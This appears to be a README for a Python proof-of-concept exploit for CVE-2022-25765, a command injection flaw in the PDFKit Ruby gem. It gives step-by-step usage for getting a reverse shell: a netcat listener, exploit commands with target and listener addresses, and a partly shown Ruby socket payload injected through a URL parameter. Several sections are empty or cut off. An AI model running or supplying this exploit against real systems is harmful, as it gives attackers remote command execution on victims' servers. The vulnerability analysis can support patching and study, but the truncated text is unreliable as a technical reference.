
Python PoC exploit for CVE-2022-25765, a critical command injection in PDFKit. Generates a reverse shell via unsanitized URL parameters passed to wkhtmltopdf. Includes usage instructions and technical vulnerability analysis.
A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection
Start a netcat listener on your attack machine:
nc -lvnp 4444
Run the exploit:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Example:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parameters:
-t, --target: Target URL running vulnerable PDFKit-l, --lhost: Your IP address for the reverse shell connection-p, --lport: Your port for the reverse shell connection (must match your netcat listener)CVE ID: CVE-2022-25765 CVSS v3.1 Score: 9.8 (Critical) EPSS Score: 71.381% (99th percentile) CWE: CWE-77 - Improper Neutralization of Special Elements used in a Command
PDFKit is a Ruby gem that converts HTML to PDF using the wkhtmltopdf command-line tool. The vulnerability exists in how PDFKit handles URL parameters before passing them to system shell commands for PDF generation.
The vulnerability resides in lib/pdfkit/source.rb where URL sanitization is improperly implemented:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
The Problem:
Attack Vector:
This PoC exploits the vulnerability by:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'On Target System: